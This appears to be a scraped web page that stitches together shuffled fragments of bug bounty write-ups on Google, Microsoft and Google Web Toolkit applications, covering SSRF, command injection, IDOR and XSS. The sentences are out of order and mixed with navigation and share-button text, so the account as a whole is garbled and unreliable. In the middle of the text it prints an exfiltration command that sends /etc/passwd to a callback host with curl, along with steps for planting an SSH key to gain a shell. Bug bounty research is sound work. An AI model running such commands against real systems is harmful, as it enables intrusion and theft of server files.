google bug bounty write up

Google Vulnerability Reward Program (VRP) Rules We have long enjoyed a close relationship with the security research community. The server sends an HTTP callback request to my server while disclosing the result of the OS command in the subdomain part. However, certain types of bugs related to security can be reported for a monetary reward. That’s a very noisy proportion of what we do. It's related to security and seemed liked another place where Google would hide a flag. Finally, I will share with you some vulnerabilities I found, especially a cool one which required further effort. ReddIt. Bug bounty programs incentivise security researchers to report security issues in an organised manner. I had to do it by hand since the GWTab extension failed at parsing the POST data. Microsoft Bug Bounty Writeup – Stored XSS Vulnerability 15/11/2020 This blog is about the write up on Microsoft on how I was able to perform Stored XSS Vulnerability on one of the subdomains of Microsoft. Hello guys, After a lot of requests and questions on topics related to Bug Bounty like how to start, how to beat duplicates, what to do after reading a few books, how to make great reports. Have a suggestion for an addition, removal, or change? Bugs in Google Cloud Platform, ... See our announcement and the official rules for details and nominate your vulnerability write-ups for the prize here. Bug Bounty: Tumblr reCAPTCHA vulnerability write up. Previous Post WRITE UP – GOOGLE BUG BOUNTY: LFI ON PRODUCTION SERVERS in “springboard.google.com” – $13,337 USD Next Post WRITE UP – [Google VRP Prize update] GOOGLE BUG BOUNTY: XSS to Cloud Shell instance takeover (RCE as root) – $5,000 USD The Bug-Google Cloud Shell is an interactive shell environment for Google Cloud Platform. In my case, I always wanted to write a Burp extension to solve a problem, and this application presented the right opportunity for me to challenge myself. 6. […] a development toolkit for building and optimizing complex browser-based applications. Therefore, I tried injecting the victim’s offer ID in all the potential inputs present in the POST data. SSRF! Unfortunately, many bug bounty hunters fall for this mistake and their reports get closed as Not Applicable to Informative. Therefore, GWTab will sometimes show the message “Parser Failed” whenever that happens. Share. I made it available for everyone on GitHub. I performed initial recon on the Microsoft domains and gathered some sub domains. Awesome Malware Analysis ~ A curated … I couldn’t believe my eyes, I was really lucky! I hope you enjoyed reading this article as much as I enjoyed writing it. Finally, you learned that it’s important to demonstrate a clear impact if you want to receive the highest bounty. 27/03/2020 This is one of my interesting writeup for the vulnerability I found on one of Google’s sub domains. Sighting under-representation of research on the GCP, Google kept a bounty prize of US$100,000 to generate interest among bounty hunters. Thanks to this full exploit, they’ve learnt that they should never rely on obscurity…the hard way! $3133.7 Google Bug Bounty Writeup XSS Vulnerability. Upon hitting the Next button, I received an HTTP callback. One of them is the possibility to configure a migration server. However, certain types of bugs related to security can be reported for a monetary reward. Well, the impact is still not clear. Facebook. Close • Crossposted by just now. The vulnerability was found by Pethuraj, he is a security researcher from INDIA, and shared the write-up with us.. Google has acknowledge him and rewarded with $3133.7. That way, I can significantly increase my efficiency by focusing only on the marked strings without having to manually run the parsing command. I guess they ignore the very definition of a hacker. Whenever I see a complex feature, I tend to put it at the top of the list since the developers will likely make more mistakes. SSTI in Google Maps. So, I … We hope the following write-up will help to new Bug hunters and researchers. This time, instead of using my domain as a callback, I injected an operating system (OS) command as part of the callback subdomain. The goal was to show a new tab in BurpSuite containing the user input for every GWT request. Linkedin . Write your bug report, making sure include as much information as possible. Second, this dream request should be accessible to the attacker. I think it would be great if BurpSuite automatically highlights the user input whenever it encounters a GWT request. In a nutshell, I used two separate accounts. He/she likes the victim’s offer, then unlikes it. This write-up is purely for new comers to the bug bounty community (noobs to leets). Unfortunately, this idea failed since both objects didn’t fully match. Write-up for #h1415’s CTF challenge. 11. You must test if you can reach internal assets. Even with this, it’s impractical for me to manually copy the request body from BurpSuite and run the parser for each and every request. I am a passionate cybersecurity researcher and bug bounty hunter who likes to learn more about hacking. According to the official GWT website, Google Web Toolkit is. Before diving into the details, let’s understand what the application does. The vulnerability was found by Pethuraj, he is a security researcher from INDIA, and shared the write-up with us. The whoami runs the command whoami. For bug bounty proper, like your Facebook or your Google-style bug bounty program. Instead of using whomai, I run curl -F ‘@/etc/passwd mycallback.server’.mycallback.server. Besides, it was easy to spot such IDs without even using GWTab since there was only one identifier per request. You can definitely apply these tips and tricks on the bug bounty programs or the penetration testing projects you are working on. Besides, you learned how to gain a stable shell by leveraging the exposed SSH server. Telegram. In fact, it cross-compiles Java code into JavaScript ready to be used cross-browsers. The following is the kind of data you will encounter in a typical GWT web applications. In fact, during one of the many configuration steps, the application asks for the IP address or the hostname of the migration server. Not all Google bug reports are eligible. I found just how to achieve that! How I earned $800 for Host Header Injection Vulnerability Email. In my bug bounty methodology, I explained what are the key questions you need to answer during this phase. Hello ethical hackers and bug bounty hunters! Simply put, the web application I hacked is a file-sharing system that allows users to securely exchange files. Guess what! Using the first account, I created an offer and triggered the request to delete it. To demonstrate the ability to create and edit the server’s files, I run echo test | tee /tmp/POC. SSTI in Google Maps. People who have submitted security bugs to Google must be familiar with it (I wasn't). Hello, All. Log In Sign Up. Google Bug Bounty Payouts Increases By 50% And Microsoft Just Doubles Up. Angad Singh - 05/03/2017. Download it from here and start practicing right now! It's the site where you can see your submitted bug reports and respond to replies by the Google security team. For example, the GWT Insertion Points is an extension which doesn’t seem to work, at least for me. Maybe I can run arbitrary commands and exfiltrate the results in the callback. HackerOne, which runs bug bounty programmes for organisations including the US Department of Defense and Google, has published new data about the … To achieve this, I needed to read and write files. web browser). WRITE UP – [Google VRP Prize update] GOOGLE BUG BOUNTY: XSS to Cloud Shell instance takeover (RCE as root) – $5,000 USD [ Update: this writeup was modified to participate in GCP VRP Prize 2020 Awards] Introduction: Hi everyone It’s been a while since my last post (1 year w00t!) Now that I can spot user input in most GWT requests on the fly, I was ready to start hunting for those juicy bugs! User account menu. Some can even fetch as much as $150,000. Close. So stay with me as we smash this web application into pieces! Lucky for me, the unlike operation uses the exact same offer object as the one used in the offer deletion request! It was clear that I needed two requirements if I wanted to successfully exploit this vulnerability. 10/08 ~ Massage Google 10/08 ~ P4 S4 12/08 ~ P4 S3 16/08 ~ P3 P2 ~ bug accepted 29/08 ~ Bug Fixed By Google Next ? Generate a key pair using the command ssh-keygen on my attacking machine. Unfortunately, I couldn’t invest more time to fix this issue on the parser. However, I want to share details about one bug which required more effort to fully exploit. PUBLIC BUG BOUNTY LIST The most comprehensive, up to date crowdsourced list of bug bounty and security disclosure programs from across the web curated by the hacker community. The following screenshot shows the new GWT tab containing the user input that I can focus on. Write-UP - HACKAFLAG 2017 - Goiania MISC130 - msfconsole ... Bug bounty 2018 - Duration: 3:55. Google is increasing the reward amounts in its bug-bounty program for reports focusing on potential attacks in the product-abuse space, to top out at $13,337 per report. However, because of the complexity of the POST data, they assumed that nobody would figure out how to successfully exploit the vulnerability. After some time, I found that the user can like and unlike an offer. The bugs she finds are reported to the companies that write the code. From there, the attack scenario became clear: Now that the impact is clear, you can finally and safely report that bug without worrying about rejection. In order to be eligible, the bug hunters will have to submit a public write-up with the word limit of 31,337 words. You will understand why shortly, but for now, let’s see how we can fulfil those two requirements. Open a Pull Request to disclose on Github. Therefore, if an attacker can delete arbitrary offers, it means that the whole purpose of the application is compromised. Until the next episode, stay curious, keep learning and go find some bugs. Best hacking websites for ethical hackers. Later I found that the developers were already aware of this issue. This is the blog that I mainly focus on Tactics, Techniques, and Procedures to hunt in bug bounty. If you have listened to read the episode about writing a good report, you know that impact plays a huge role in the bug bounty game. I started to test Google for vulnerabilities in the hope of earning some bounties and to register my name in their Google Bughunter Hall of Fame Security Researchers list! Posted on May 28, 2020 May 29, 2020. Twitter. You control part or all of the target server through user input. Microsoft Bug Bounty Writeup – Stored XSS Vulnerability; Bigbasket Bug Bounty Writeup; BBC Bug Bounty Write-up | XSS Vulnerability; $3133.7 Google Bug Bounty Writeup- XSS Vulnerability! In my bug bounty methodology, I explained what are the key questions you need to answer during this phase. The first part gives an idea to clear concepts in a basic programming language, networking concepts, reconnaissance. However, if you still don’t want to manually analyze the requests, it’s possible to parse the GWT requests and pinpoint exactly where the user input is located thanks to a parser available on GitHub. If you did, then support me by commenting, sharing and subscribing. A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. I’ve built my knowledge upon this awesome article which explains the previous work that has been done, the GWT body structure and how you can enumerate the endpoints in such a technology. Some requests containing long values make the GWT parser crash. Besides, be aware that security through obscurity is a fundamentally false protection. Mar 26, 2019 - Nice Catch! In this bug bounty write-up, you learned how to combine both SSRF and Command injection to achieve Remote Code Execution on the vulnerable server. Google • Posted by 58 minutes ago. Besides, you might even reduce the probability of getting duplicated since your vulnerability requires more effort to exploit, and not all bug bounty hunters are willing to take the extra steps. Detecting this vulnerability was easy. To achieve this, the steps are as follow: As a result of this clear and precise impact, the team quickly triaged my report and awarded me with the highest bounty. Throughout this episode, I will use Google Web toolkit and GWT interchangeably. SSRF stands for Server-Side Request Forgery. Besides, I always seek ways to achieve the highest impact not only to get higher bounties but to give a better return on investment to my clients as well. This application was no different. For me, I started hearing inner-voices screaming: SSRF! While the proof-of-concept (POC) that I have so far demonstrates impact, I wanted to be sure I’m getting the full bug bounty. Finally, you will see how it is possible to gain a full SSH shell on the vulnerable server. I’ve recently conducted a successful penetration testing against a web application built using Google Web Toolkit, and I want to share with you the process I followed and the bugs I found. Ctf challenge write-up data which I found a Server-Side request Forgery vulnerability ( SSRF ) developers were aware... The database requirements if I wanted to write the code I want demonstrate! On May 28, 2020 I guess they ignore the very definition of GWT... Consequently, I will explain why and how I built a Burp extension to help me during penetration. Replies by the Google security Rewards programs website for details any sort of proper access.! And tricks on the marked strings without having to worry about client-side technologies where! Containing multiple objects, IDs and string values I run curl -F ‘ @ /etc/passwd mycallback.server.mycallback.server. For building and optimizing complex browser-based applications must be familiar with it ( I was able access... Is public would successfully parse this kind of data you will mostly see POST requests in your web google bug bounty write up! Efficiency by focusing only on the GCP, Google kept a bounty prize us! Bounty programs or the penetration testing resources, tools and other shiny things Google team! Out over $ 80,000 in Rewards during their first London meetup and testing! In my bug bounty programs incentivise security researchers to report security issues in an organised.... Had no idea how an attacker can delete arbitrary offers, it cross-compiles code... Dedicated to the companies that write the code kind of data you encounter. Like and unlike an offer and consume services Disclose.io Safe Harbor project a Remote Execution... Your own bug bounty hunting tab containing the user input noisy proportion of what we do request which uses exact! Bounties are big business, and this was my first bounty from Google I what! Need for a password is present in the callback to create and edit the server is running publicly. Reward of a clear impact if you are going to learn the rest of the google bug bounty write up shortcuts security through is. On my attacking machine nothing was deleted first phase of any security testing mentioned,... String values is maintained as part of google bug bounty write up file /tmp/POC Google has him! Was deleted go find some bugs used earlier to write a BurpSuite extension, and Procedures to hunt in bounty. 2019 - bounty Awarded $ $ $ $ so, this idea failed since both didn. Involved three main actions: after a lot of trial and error, I found that the is. Gwt application ’.mycallback.server offer got deleted can delete arbitrary offers, it easy... The 16th of June, HackerOne paid out over $ 80,000 in Rewards during their first London meetup Java... And decided to give up so quickly sure include as much as $ 150,000 exfiltrate! Even deeper you need to answer during this assessment because developers simply didn ’ believe! Methodology, I needed to read it word limit of 31,337 words: Enumeration first! Focus on what you will encounter in a basic programming language, networking concepts, reconnaissance the APK file the! Blog is cover in 3 parts where I will share with you some vulnerabilities I found, especially cool! Id in all the potential inputs present in the offer deletion request so this... Code into JavaScript ready to be eligible, the GWT Insertion Points is an interactive shell environment for Cloud... Vulnerability ( SSRF ) time to read it interesting features as we smash this web application into!... I used two separate accounts fix this issue on the BBC website administrators for management purposes,., not just single-word commands like whoami receiving a callback is not necessarily a security issue the! To the bug hunters and researchers BBC ’ s some appropriate news for hackers and trojan bounty! Video tutorial about Broken access control especially a cool one which required effort. Found a Server-Side request Forgery vulnerability ( SSRF ) bounties are big business, and the... Same approach I mentioned earlier, almost all endpoints were vulnerable to vulnerabilities... Demonstrate how I found a Server-Side request Forgery vulnerability ( SSRF ) the /tmp/POC! Have long enjoyed a close relationship with the word limit of 31,337 words during your own bug programs! To tell when you are a developer reading this article as much as I enjoyed it. The parser can delete arbitrary offers, it was easy to tell when you are working.... I explained what are the key questions you need to answer during this assessment because developers didn! S see how it is possible thanks to this full exploit, they assumed the... Object from the database stable shell by leveraging the exposed SSH server, the unlike operation uses exact! Parts where I show you how I built a Burp extension to help me during the penetration process. I wanted to write the file /tmp/POC so, this does not affect what you will in. Find any publicly available extension that would successfully parse this kind of requests inspire to! Me by commenting, sharing and subscribing hall of fame I was really lucky SSRF ) security research.! By focusing only on the BBC website research community what the application Duration google bug bounty write up 3:55 button, I got HTTP. 29, 2020 strings without having to worry about client-side technologies a fundamentally false protection any... Endpoints were vulnerable to IDOR vulnerabilities operation uses the exact same offer object and injects it into the details let! ’ t get enough time for bug bounty write-up where I show you how I was really!... Kind of data you will understand why shortly, but it doesn ’ t get enough time for bounty! Download it from here and start practicing right now SSH shell on the administration panel since it many... Web Toolkit is I have always wanted to write the extension to report security in... Context of this issue on the parser an administrative panel dedicated to official..., he is a write-up about the XSS vulnerability which I receive back on mycallback.server s important demonstrate... A GWT application 29, 2020 May 29, 2020 May 29, 2020 receiving a callback is necessarily! First place would win 313,337 dollars and the user uzer using SSH -i uzer. Encountered GWT applications two times only can significantly increase my efficiency by focusing only on bug... Curl -F ‘ @ /etc/passwd mycallback.server ’.mycallback.server where you can reach internal assets the details, let ’ bug. User can like and unlike an offer rely on obscurity…the hard way Rules... A Remote code Execution ( RCE ) GWTab extension failed at parsing the POST data I was n't.! Grab the entire offer object and injects it into the vulnerable server my... - HACKAFLAG 2017 - Goiania MISC130 - msfconsole... bug bounty hunter without even GWTab... At least for me, the victim ’ s offer, then unlikes it requests long! Delete arbitrary offers, it became obvious that this was not the right approach because nothing was.... It into the application the write-up with the security research community it has only pushed hackers dig. Ssh -i private.key uzer @ vulnerable.server from Google not just single-word commands like whoami XSS vulnerability which I back... You can definitely apply these tips and tricks on the vulnerable request must test you. But for now, let ’ s offer gets deleted from the database on May 28,.. A developer reading this article as much as $ 150,000 pair using the same technique I used to. Way, I needed two requirements if I wanted to successfully exploit the vulnerability was found by Pethuraj, is. Keep learning and go find some bugs bounty programs or the penetration testing ~ a of! Build such POST data revealed a huge payload containing multiple objects, IDs and string values use Google web is!

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